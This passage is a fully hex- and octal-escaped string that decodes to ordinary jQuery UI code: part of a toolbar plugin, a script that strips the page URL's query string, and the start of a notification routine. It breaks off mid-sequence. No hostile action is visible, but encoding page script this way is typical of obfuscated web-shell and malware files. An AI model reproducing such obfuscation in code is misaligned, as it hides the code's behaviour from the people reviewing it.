\x20\40\40\x20\x20\40\40\40\40\x20\x72\x65\164\x75\x72\x6e\40\x7b\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\x6c\x65\x66\164\72\40\163\x65\x6c\x66\56\x63\x6f\157\x72\x64\x69\156\x61\x74\145\x73\56\x6c\145\x66\x74\55\50\163\x65\x6c\x66\x2e\164\x6f\x6f\154\142\x61\162\x2e\167\x69\144\164\150\x28\51\x2f\62\51\53\x28\x73\145\x6c\x66\x2e\44\145\x6c\145\155\x2e\157\x75\164\x65\x72\127\151\144\164\x68\50\x29\x2f\62\x29\x2c\12\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x74\157\x70\72\x20\163\145\154\146\x2e\x63\157\x6f\162\144\x69\156\141\x74\145\163\56\x74\157\x70\x2d\163\x65\154\146\56\x24\145\154\145\155\56\157\x75\x74\x65\162\110\x65\151\x67\x68\164\x28\51\x2d\141\144\x6a\x75\163\x74\x6d\x65\156\164\54\12\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\162\151\x67\150\164\x3a\40\47\141\x75\164\157\x27\12\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\175\x3b\xa\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x63\x61\163\x65\x20\47\x6c\x65\146\x74\x27\72\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\x72\145\164\165\162\156\40\x7b\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x6c\145\146\164\72\40\163\x65\x6c\146\56\143\157\157\162\x64\151\x6e\x61\164\x65\163\x2e\154\145\146\164\55\50\163\x65\154\x66\56\164\x6f\157\154\142\x61\162\56\x77\x69\x64\x74\x68\x28\x29\57\62\x29\x2d\50\163\x65\154\146\56\44\x65\154\x65\155\x2e\x6f\x75\164\145\162\x57\x69\x64\164\x68\x28\51\x2f\62\51\55\141\144\152\165\163\164\x6d\145\156\164\x2c\12\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x74\x6f\x70\72\40\163\145\x6c\x66\56\143\x6f\x6f\x72\x64\151\156\141\x74\x65\x73\56\x74\x6f\160\x2d\50\163\145\x6c\146\56\x74\x6f\x6f\x6c\142\x61\x72\x2e\150\145\x69\x67\x68\x74\50\x29\57\x32\x29\53\x28\x73\145\x6c\x66\56\44\145\x6c\145\155\56\x6f\x75\x74\x65\x72\110\x65\x69\x67\150\x74\x28\51\x2f\x32\x29\x2c\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x72\151\x67\150\x74\72\x20\47\x61\x75\164\157\47\12\40\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\175\73\xa\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x63\x61\163\145\40\x27\162\x69\x67\150\164\x27\x3a\12\40\40\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x72\x65\164\165\x72\156\x20\173\xa\40\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\154\x65\x66\164\x3a\40\163\x65\x6c\x66\x2e\143\157\157\162\144\151\156\141\x74\x65\x73\x2e\x6c\145\x66\x74\x2b\x28\x73\x65\154\146\56\164\157\157\x6c\x62\x61\x72\x2e\167\151\144\164\x68\50\x29\57\x32\51\x2b\50\x73\145\154\146\x2e\x24\145\154\x65\x6d\x2e\x6f\165\164\145\x72\127\151\144\164\x68\50\51\57\x32\x29\53\x61\144\x6a\165\163\164\x6d\x65\x6e\x74\x2c\12\40\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\164\157\160\72\x20\163\145\154\146\x2e\x63\x6f\157\162\144\151\x6e\x61\164\x65\x73\x2e\164\157\x70\x2d\x28\x73\145\154\146\56\x74\x6f\x6f\154\x62\x61\162\x2e\150\x65\151\x67\150\x74\50\x29\57\x32\x29\53\x28\x73\145\154\x66\x2e\x24\145\x6c\145\155\56\x6f\165\164\145\x72\110\x65\151\147\x68\164\50\x29\57\62\51\54\xa\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x72\x69\x67\150\x74\x3a\40\47\x61\x75\164\157\x27\xa\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\175\73\xa\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\x63\x61\x73\x65\x20\x27\142\x6f\164\x74\x6f\x6d\47\72\xa\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x72\x65\164\x75\162\156\40\x7b\xa\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\x6c\x65\146\x74\x3a\x20\x73\x65\x6c\x66\x2e\x63\x6f\157\x72\144\151\156\141\164\x65\163\x2e\x6c\145\x66\164\x2d\x28\163\x65\x6c\x66\x2e\x74\157\x6f\154\x62\x61\162\x2e\x77\x69\144\164\x68\50\x29\57\62\51\53\50\x73\145\154\146\x2e\x24\x65\x6c\145\x6d\56\157\x75\x74\x65\162\x57\x69\x64\x74\150\50\51\x2f\62\51\54\12\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\164\157\x70\x3a\x20\x73\145\x6c\x66\x2e\x63\157\157\162\x64\151\x6e\141\x74\x65\163\x2e\164\157\x70\x2b\163\x65\x6c\146\56\44\x65\x6c\x65\x6d\56\x6f\165\x74\x65\x72\110\x65\x69\x67\x68\x74\50\x29\53\141\x64\152\x75\163\164\155\145\x6e\x74\54\xa\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\40\40\162\x69\x67\150\164\72\x20\47\141\x75\164\157\47\xa\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\175\73\12\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\175\xa\40\40\40\40\40\x20\x20\x20\175\x2c\12\12\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6c\154\151\163\x69\x6f\156\104\x65\x74\x65\143\164\151\x6f\156\72\40\x66\165\x6e\143\x74\x69\x6f\156\x28\x29\40\173\12\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\x76\141\x72\40\163\x65\154\146\40\x3d\x20\x74\150\x69\x73\73\xa\40\40\x20\40\x20\40\40\40\40\x20\x20\40\x76\141\x72\40\145\144\147\145\117\x66\x66\163\145\164\x20\x3d\x20\62\60\73\xa\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\151\146\50\163\x65\x6c\146\56\157\160\x74\151\x6f\156\x73\56\x70\157\x73\x69\x74\x69\x6f\156\x20\75\x3d\x20\47\164\157\x70\x27\x20\174\174\x20\163\145\x6c\146\56\157\160\164\151\x6f\x6e\163\x2e\160\157\163\x69\x74\x69\x6f\156\40\75\75\40\x27\x62\x6f\164\x74\157\155\x27\x29\40\x7b\12\x20\40\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\40\x73\x65\x6c\x66\56\141\x72\x72\157\167\x43\x73\x73\40\x3d\x20\x7b\x6c\x65\146\164\72\40\x27\x35\60\x25\x27\x2c\40\x72\x69\x67\150\164\72\x20\47\x35\60\x25\47\x7d\73\12\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x69\146\x28\40\x73\145\154\x66\56\x74\157\157\x6c\142\141\x72\x43\163\163\56\x6c\145\146\164\40\x3c\x20\145\x64\147\x65\x4f\x66\x66\163\x65\x74\40\x29\x20\x7b\12\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\163\145\154\x66\56\x74\x6f\157\x6c\x62\x61\162\103\163\x73\56\154\x65\x66\164\x20\75\x20\145\144\147\x65\x4f\x66\146\163\145\x74\x3b\xa\x20\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x73\x65\154\x66\56\x61\162\x72\x6f\167\103\x73\x73\56\x6c\x65\x66\x74\x20\x3d\40\x73\145\154\x66\x2e\x24\x65\154\x65\x6d\x2e\x6f\146\x66\163\145\x74\x28\x29\x2e\x6c\x65\x66\164\x20\x2b\40\163\145\154\x66\x2e\x24\x65\x6c\145\155\56\x77\x69\144\x74\x68\50\51\57\x32\x2d\50\x65\x64\x67\145\x4f\146\146\163\x65\164\51\73\12\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x7d\12\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x65\154\x73\145\x20\151\x66\x28\50\44\50\x77\x69\x6e\x64\157\x77\x29\x2e\x77\151\144\164\150\x28\51\40\55\x20\x28\x73\145\x6c\146\56\x74\x6f\157\x6c\x62\x61\x72\x43\x73\x73\x2e\154\145\146\164\40\x2b\x20\x73\x65\x6c\x66\x2e\164\x6f\157\154\x62\x61\162\127\x69\144\164\x68\51\x29\x20\x3c\40\145\x64\147\145\117\x66\146\163\145\164\51\40\x7b\12\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x73\145\x6c\x66\56\x74\x6f\157\x6c\142\141\x72\103\x73\163\56\x72\151\147\150\164\x20\x3d\40\x65\x64\147\145\117\x66\x66\x73\x65\x74\73\12\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\163\x65\x6c\146\56\x74\157\x6f\x6c\142\x61\x72\x43\163\x73\56\x6c\145\146\x74\40\x3d\40\x27\x61\x75\x74\157\x27\73\12\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x73\145\x6c\146\56\141\x72\162\157\167\x43\163\163\x2e\154\145\x66\164\x20\75\x20\x27\141\165\164\157\47\x3b\xa\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\163\145\x6c\x66\56\141\162\162\157\167\x43\x73\x73\x2e\162\x69\147\x68\x74\40\x3d\40\50\x24\50\x77\x69\156\x64\157\167\51\56\167\151\144\x74\x68\50\x29\x2d\163\145\x6c\x66\x2e\x24\x65\x6c\145\x6d\56\x6f\146\x66\x73\x65\164\x28\x29\56\x6c\x65\146\x74\51\x2d\50\x73\x65\154\x66\56\44\145\x6c\145\155\x2e\167\x69\x64\x74\x68\50\x29\x2f\x32\51\55\50\x65\x64\147\x65\x4f\146\146\x73\145\164\51\x2d\x35\73\xa\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\x7d\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x7d\12\40\x20\40\x20\40\x20\x20\40\175\54\xa\xa\40\x20\40\40\40\x20\40\40\x73\150\x6f\167\x3a\x20\146\165\156\143\x74\151\157\x6e\x28\x29\x20\173\12\40\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x76\141\162\x20\163\145\x6c\146\x20\75\40\164\x68\x69\x73\73\xa\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x73\x65\154\x66\56\44\145\x6c\x65\155\56\141\144\x64\103\154\141\x73\x73\x28\47\x70\162\145\x73\163\x65\x64\47\51\x3b\12\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\163\145\154\x66\56\x63\x61\154\143\x75\x6c\141\x74\x65\x50\x6f\163\x69\x74\x69\157\x6e\x28\51\x3b\xa\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x73\x65\x6c\x66\x2e\x74\x6f\157\x6c\x62\141\x72\x2e\x73\x68\157\167\x28\51\56\143\x73\163\50\x7b\47\157\160\141\143\151\x74\x79\47\72\x20\x31\175\x29\56\141\144\144\103\154\x61\163\163\x28\47\141\x6e\x69\x6d\141\164\145\55\x27\53\163\145\x6c\x66\56\157\x70\164\151\x6f\156\x73\56\141\x6e\x69\155\x61\x74\x69\157\156\x29\x3b\12\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x73\x65\154\x66\56\x24\x65\x6c\145\x6d\56\164\x72\x69\147\147\145\162\50\47\164\x6f\x6f\154\142\x61\x72\x53\x68\157\x77\x6e\47\x29\x3b\12\40\40\x20\40\x20\x20\x20\x20\175\x2c\xa\xa\40\x20\40\40\40\x20\40\x20\150\x69\144\x65\72\40\146\x75\x6e\143\x74\x69\157\x6e\x28\x29\40\173\xa\40\x20\40\40\x20\40\40\40\x20\40\x20\40\166\x61\x72\x20\x73\145\x6c\146\x20\x3d\40\x74\150\x69\163\x3b\12\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\166\x61\x72\40\x61\156\x69\x6d\x61\164\x69\x6f\156\x20\75\x20\173\x27\x6f\x70\x61\143\x69\164\171\x27\x3a\40\60\175\73\12\xa\40\40\x20\40\40\x20\40\40\40\x20\40\x20\x73\x65\x6c\x66\x2e\44\145\154\x65\x6d\56\x72\x65\155\x6f\x76\145\103\x6c\141\163\163\50\47\160\162\x65\x73\163\145\144\47\51\x3b\xa\12\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\163\167\x69\x74\143\150\x28\163\x65\x6c\146\x2e\157\x70\x74\151\157\x6e\x73\56\x70\x6f\x73\151\164\x69\x6f\156\x29\x20\173\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x63\x61\x73\145\x20\47\x74\157\x70\47\72\xa\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\x61\x6e\x69\x6d\x61\x74\151\x6f\156\56\x74\157\160\40\75\40\x27\x2b\x3d\62\60\x27\x3b\12\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\40\40\x20\40\x20\x62\x72\x65\141\153\73\12\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x63\x61\163\145\x20\47\x6c\145\146\x74\47\72\xa\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\141\x6e\151\x6d\141\x74\151\157\156\56\154\x65\146\164\x20\x3d\40\x27\53\x3d\x32\60\x27\x3b\12\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x62\x72\x65\141\x6b\x3b\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x63\x61\x73\145\x20\x27\x72\x69\147\x68\x74\47\72\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\x61\x6e\x69\155\x61\164\151\x6f\156\x2e\x6c\x65\x66\164\x20\75\x20\x27\x2d\x3d\x32\x30\47\73\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\142\162\x65\x61\x6b\x3b\12\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\143\x61\163\x65\40\47\142\x6f\164\x74\x6f\155\x27\72\xa\x20\40\40\40\40\40\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\40\x61\156\x69\155\141\164\x69\157\x6e\x2e\164\157\x70\x20\75\40\47\x2d\x3d\x32\60\x27\x3b\12\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\142\162\145\141\x6b\x3b\xa\x20\40\40\40\40\40\x20\40\40\40\40\40\x7d\12\xa\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x73\x65\x6c\146\56\x74\157\157\154\x62\141\162\56\141\x6e\x69\x6d\141\164\145\x28\141\x6e\151\x6d\x61\x74\151\157\156\x2c\40\62\60\60\54\40\x66\x75\156\x63\x74\151\x6f\x6e\50\x29\40\173\12\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\163\145\154\x66\x2e\x74\x6f\157\x6c\142\x61\162\56\x68\x69\x64\x65\50\x29\x3b\12\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\175\51\73\12\xa\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x73\x65\x6c\146\x2e\44\x65\x6c\x65\x6d\56\x74\162\x69\147\x67\145\162\50\47\164\157\157\x6c\x62\x61\x72\110\151\144\144\145\x6e\47\x29\x3b\12\x20\40\x20\x20\40\x20\40\x20\x7d\54\12\12\x20\40\40\x20\x20\x20\40\x20\x67\x65\164\124\157\x6f\154\x62\x61\162\x45\154\x65\x6d\145\156\x74\x3a\40\146\165\x6e\x63\164\151\157\x6e\x20\50\x29\x20\x7b\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\162\x65\x74\x75\x72\x6e\40\x74\150\151\163\x2e\164\x6f\157\x6c\x62\x61\x72\56\x66\x69\x6e\144\x28\47\56\x74\157\157\154\55\151\x74\145\x6d\x73\x27\51\x3b\xa\40\40\40\x20\40\40\x20\x20\175\xa\x20\40\x20\x20\x7d\73\12\xa\x20\x20\40\40\44\x2e\x66\x6e\x2e\x74\157\157\154\142\141\x72\40\75\40\146\x75\x6e\x63\x74\x69\x6f\156\x28\40\x6f\160\164\151\x6f\x6e\163\x20\x29\40\173\12\x20\x20\x20\40\40\x20\x20\40\x69\x66\x20\x28\x24\x2e\151\163\x50\154\x61\x69\x6e\x4f\142\152\145\x63\164\50\40\157\x70\x74\151\x6f\x6e\163\40\51\x29\x20\x7b\12\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x72\x65\164\165\162\156\40\x74\x68\151\x73\56\145\141\143\150\50\x66\x75\156\x63\164\151\157\156\50\x29\40\x7b\12\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\166\x61\162\x20\x74\157\x6f\154\x62\141\162\x4f\142\152\40\75\x20\x4f\142\152\145\x63\164\x2e\143\x72\x65\141\x74\x65\50\40\x54\157\x6f\x6c\102\x61\x72\40\x29\x3b\xa\x20\x20\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\x74\157\x6f\x6c\x62\x61\x72\x4f\x62\x6a\x2e\x69\156\x69\x74\50\x20\157\160\x74\151\x6f\156\x73\x2c\40\x74\x68\x69\x73\40\x29\x3b\12\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x24\50\164\150\x69\x73\x29\x2e\x64\141\x74\x61\x28\47\164\157\x6f\154\142\x61\162\117\x62\x6a\x27\54\x20\164\157\x6f\x6c\142\141\162\117\142\x6a\x29\73\12\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\175\x29\73\12\40\x20\x20\40\x20\x20\x20\x20\x7d\x20\145\154\x73\145\40\x69\x66\x20\x28\40\x74\x79\160\145\x6f\146\40\157\x70\x74\x69\x6f\156\163\x20\x3d\75\75\x20\x27\x73\x74\x72\x69\x6e\x67\47\40\46\46\x20\x6f\160\x74\151\x6f\x6e\x73\x2e\151\156\x64\x65\170\117\x66\x28\x27\137\47\51\x20\41\75\x3d\40\x30\x20\x29\40\173\xa\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\166\x61\x72\x20\164\157\x6f\x6c\x62\x61\x72\117\142\152\40\x3d\40\x24\x28\x74\x68\151\163\51\56\x64\141\x74\141\x28\x27\164\x6f\157\x6c\x62\x61\162\x4f\142\152\x27\x29\x3b\xa\40\40\x20\x20\40\40\40\40\x20\x20\40\40\166\141\x72\x20\x6d\x65\x74\150\157\144\40\x3d\x20\164\x6f\157\154\142\x61\x72\117\142\x6a\133\x6f\x70\x74\151\x6f\x6e\163\135\73\12\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\162\145\x74\x75\x72\x6e\40\x6d\x65\164\150\157\144\x2e\x61\160\160\x6c\x79\x28\164\157\157\x6c\x62\141\162\x4f\x62\152\x2c\x20\44\56\x6d\141\153\x65\101\x72\x72\141\171\x28\141\x72\147\165\x6d\145\156\x74\163\x29\56\x73\x6c\151\x63\145\50\61\51\51\73\12\x20\40\x20\40\x20\40\40\40\175\xa\40\x20\x20\x20\175\x3b\12\12\40\x20\x20\x20\x24\56\x66\x6e\56\164\157\157\154\142\x61\x72\x2e\x6f\x70\x74\151\157\156\x73\x20\x3d\40\x7b\xa\x20\40\x20\40\x20\40\x20\x20\143\x6f\x6e\164\145\156\x74\x3a\x20\47\x23\x6d\x79\103\x6f\x6e\x74\x65\x6e\164\x27\x2c\12\x20\40\40\40\x20\x20\x20\40\x70\x6f\163\x69\164\151\x6f\x6e\72\40\x27\164\x6f\x70\47\54\xa\40\40\x20\x20\x20\40\40\x20\x68\x69\144\145\117\156\x43\x6c\151\x63\x6b\72\x20\146\x61\x6c\x73\x65\54\xa\40\x20\x20\40\x20\40\x20\40\172\x49\156\x64\x65\x78\72\x20\61\62\60\54\12\40\40\x20\x20\40\40\x20\x20\150\x6f\166\145\x72\x3a\x20\x66\141\154\163\145\54\12\x20\x20\x20\40\x20\x20\40\x20\x73\x74\x79\154\145\x3a\x20\47\144\145\146\x61\x75\154\x74\x27\x2c\xa\x20\40\x20\x20\40\x20\x20\40\x61\156\151\155\x61\164\x69\x6f\156\x3a\40\x27\x73\164\141\x6e\144\141\x72\x64\47\54\12\x20\x20\40\40\x20\x20\40\40\141\144\x6a\x75\163\x74\x6d\x65\156\164\x3a\x20\x31\60\12\40\x20\40\x20\x7d\73\12\xa\175\x29\40\x28\40\152\121\165\145\162\171\54\x20\x77\151\x6e\144\157\x77\x2c\40\x64\157\x63\165\x6d\145\x6e\x74\40\51\x3b\xa\x3c\x2f\163\x63\x72\x69\x70\x74\x3e\xa\x3c\x73\143\162\151\x70\x74\40\x74\x79\x70\x65\x3d\42\x74\145\170\x74\57\152\x61\166\141\x73\143\162\x69\160\x74\x22\x3e\x20\142\141\x73\145\125\x72\x6c\40\x3d\40\x77\x69\x6e\x64\x6f\167\x2e\154\157\x63\141\164\x69\x6f\156\56\x68\x72\145\146\x2e\x73\x70\x6c\151\164\x28\42\x3f\42\x29\133\60\x5d\73\40\x77\151\x6e\x64\157\167\56\150\x69\x73\x74\157\x72\171\x2e\160\165\x73\x68\123\x74\x61\x74\145\50\42\156\141\155\145\42\54\x20\42\77\x22\x2c\40\x62\x61\163\145\x55\x72\154\x29\73\x3c\57\x73\143\162\151\160\x74\x3e\xa\x3c\x73\143\162\151\160\164\x20\x74\x79\x70\x65\75\42\x74\x65\170\164\x2f\152\x61\166\141\x73\143\x72\151\160\x74\42\x3e\x20\x76\x61\162\40\x74\157\x2c\167\x69\144\164\150\x2c\150\145\151\147\x68\x74\x2c\x70\x6f\x73\151\x74\x69\157\x6e\x2c\141\165\164\157\x68\151\x64\145\54\x6f\160\x61\143\151\x74\171\x3b\x66\x75\156\x63\x74\151\157\156\40\x6e\157\164\x69\x66\x69\164\137\163\145\x74\x44\145\x66\141\165\x6c\164\x56\141\x6c\165\145\163\50\x29\173\x77\151\x64\164\150\75\64\x30\x30\73\x68\x65\x69\x67\150\x74\x3d\66\60\73\x70\x6f\163\x69\x74\151\x6f\156\x3d\x22\162\151\147\x68\164\42\73\141\x75\x74\157\150\151\144\x65\75\41\60\x3b\155\x73\147\x3d\x22\x22\73\x6f\x70\141\143\151\x74\171\75\61\x7d\x20\146\165\x6e\143\164\x69\x6f\x6e\x20\156\x6f\164\151\146\50\143\x6f\156\x66\151\x67\x29\x7b\156\157\164\x69\x66\151\164\137\x73\145\x74\x44\x65\x66\x61\165\x6c\164\126\141\154\x75\x65\x73\50\51\x3b\151\146\50\x63\x6f\x6e\x66\x69\147\x2e\x70\x6f\163\151\x74\151\157\x6e\51\x7b\151\146\x28\143\x6f\156\146\x69\x67\x2e\x70\157\x73\151\164\151\x6f\156\x3d\75\x22\x63\145\156\164\145\x72\x22\x7c\x7c\143\157\156\146\151\147\x2e\x70\x6f\x73\151\164\x69\x6f\x6e\75\x3d\x22\x6c\145\x66\x74\x22\x7c\174\143\157\156\x66\x69\147\x2e\x70\157\x73\x69\164\151\x6f\156\75\x3d\42\x72\x69\x67\150\164\x22\x29\x7b\160\157\163\151\164\151\x6f\156\x3d\143\157\x6e\x66\x69\x67\x2e\x70\x6f\163\151\x74\151\157\156\175\175\x20\x69\146\x28\x63\157\156\x66\151\147\56\167\x69\144\x74\x68\51\x7b\151\146\x28\x63\x6f\x6e\146\x69\x67\56\167\x69\x64\164\x68\76\x30\x29\173\x77\151\x64\x74\150\75\143\157\x6e\146\x69\x67\x2e\x77\x69\144\164\150\x7d\x65\154\x73\145\40\x69\x66\x28\x63\157\156\x66\x69\147\56\167\151\144\x74\150\75\x3d\x3d\x22\141\154\x6c\42\x29\x7b\167\151\144\164\150\x3d\x73\x63\x72\145\x65\x6e\56\167\x69\144\x74\x68\55\66\x30\175\x7d\40\x69\146\50\143\157\x6e\146\151\147\56\150\145\x69\x67\x68\x74\x29\x7b\151\146\50\143\157\x6e\x66\x69\x67\56\x68\145\151\x67\150\164\x3c\x31\60\x30\46\x26\143\157\x6e\x66\151\147\x2e\x68\x65\x69\x67\150\164\x3e\x30\51\x7b\x68\x65\151\147\x68\164\x3d\x63\157\156\x66\x69\x67\56\x68\145\x69\x67\x68\164\175\x7d\x20\x69\146\50\164\x79\x70\145\157\x66\x20\x63\157\x6e\146\x69\147\56\x61\165\164\x6f\150\x69\x64\145\x21\75\x3d\42\165\156\144\x65\x66\x69\156\145\144\42\x29\40\141\x75\x74\157\150\x69\144\145\x3d\x63\x6f\156\146\151\x67\56\x61\x75\164\157\150\151\144\x65\73\x76\141\x72\x20\144\x69\x76\75\42\74\144\x69\x76\x20\x69\x64\75\47\165\x69\x5f\x6e\157\164\x69\x66\111\x74\47\x3e\x3c\x70\x3e\42\53\50\x28\x63\157\x6e\146\x69\x67\56\x6d\163\x67\x29\x3f\143\x6f\x6e\146\x69\x67\x2e\155\163\x67\72\42\42\51\x2b\x22\x3c\x2f\x70\76\74\x2f\x64\151\166\x3e\42\x3b\x24\x28\x22\x23\165\151\137\156\x6f\164\151\146\111\164\42\51\56\x72\x65\x6d\157\166\x65\50\x29\x3b\x63\154\x65\x61\162\x49\x6e\164\145\162\x76\x61\x6c\50\164\157\x29\x3b\44\x28\42\142\x6f\144\x79\x22\x29\56\x61\x70\160\x65\x6e\x64\50\x64\x69\x76\x29\x3b\44\50\42\x23\165\x69\x5f\x6e\157\164\x69\x66\x49\x74\x22\x29\56\143\x73\x73\50\42\x68\145\x69\x67\x68\164\42\x2c\x68\x65\151\147\x68\164\x29\x3b\44\50\42\x23\165\151\x5f\x6e\x6f\x74\151\x66\111\164\42\x29\56\143\x73\x73\x28\42\x77\x69\144\164\x68\x22\54\167\x69\x64\x74\x68\51\73\163\x77\x69\164\x63\150\50\160\x6f\x73\151\164\151\157\x6e\x29\173\x63\141\163\145\x20\x22\143\x65\156\164\x65\162\x22\x3a\44\50\42\x23\x75\x69\137\x6e\x6f\164\x69\x66\111\x74\x22\x29\56\143\x73\x73\50\x22\x74\157\x70\x22\54\160\x61\162\x73\x65\111\156\164\50\60\x2d\x28\150\x65\151\147\x68\164\53\61\60\x29\x29\x29\73\142\x72\145\141\x6b\x3b\x63\x61\x73\145\x20\42\x72\151\147\x68\x74\x22\x3a\x24\50\x22\43\165\151\x5f\156\x6f\164\x69\146\x49\x74\42\51\x2e\x63\x73\163\50\x22\x72\x69\x67\150\x74\42\54\x70\x61\x72\x73\145\111\156\164\x28\x30\x2d\50\167\151\144\x74\150\x2b\61\x30\51\51\51\x3b\142\x72\x65\141\x6b\73\143\x61\x73\x65\x20\42\154\145\x66\x74\x22\x3a\44\50\x22\x23\165\151\137\156\x6f\164\151\146\111\x74\42\x29\x2e\x63\163\163\x28\x22\x6c\145\146\164\42\x2c\160\141\x72\x73\145\x49\x6e\164\x28\60\55\50\167\151\x64\x74\150\53\61\x30\51\x29\x29\x3b\142\162\x65\141\x6b\73\144\145\x66\141\165\154\164\72\44\x28\42\x23\x75\151\137\x6e\157\x74\x69\146\x49\164\x22\x29\56\x63\x73\163\x28\42\162\151\x67\150\164\x22\x2c\160\x61\162\x73\x65\111\x6e\164\x28\x30\x2d\50\x77\x69\144\x74\150\53\61\x30\51\x29\x29\73\142\162\145\141\x6b\x7d\40\151\x66\x28\x63\157\x6e\146\x69\x67\x2e\x6f\x70\141\143\x69\164\171\51\x7b\x24\x28\x22\x23\165\x69\137\x6e\157\x74\x69\146\111\164\x22\x29\56\143\163\163\50\42\157\x70\x61\143\x69\164\171\42\54\x63\157\156\146\x69\147\56\157\160\141\x63\x69\164\x79\51\x7d\x20\x73\x77\151\164\143\150\50\x63\x6f\x6e\x66\x69\147\x2e\x74\171\160\x65\51\173\143\x61\x73\x65\x20\42\x65\x72\162\x6f\162\42\72\44\50\x22\43\165\x69\x5f\x6e\157\x74\151\x66\111\164\x22\x29\x2e\141\x64\x64\103\x6c\141\163\163\x28\x22\x65\162\162\x6f\162\42\x29\x3b\142\162\145\141\x6b\x3b\x63\141\x73\x65\x20\42\x73\165\x63\143\x65\163\163\x22\x3a\x24\x28\42\43\165\x69\x5f\156\157\x74\151\x66\111\x74\x22\x29\x2e\x61\144\144\x43\154\x61\x73\163\50\42\163\165\143\x63\x65\163\x73\x22\51\x3b\x62\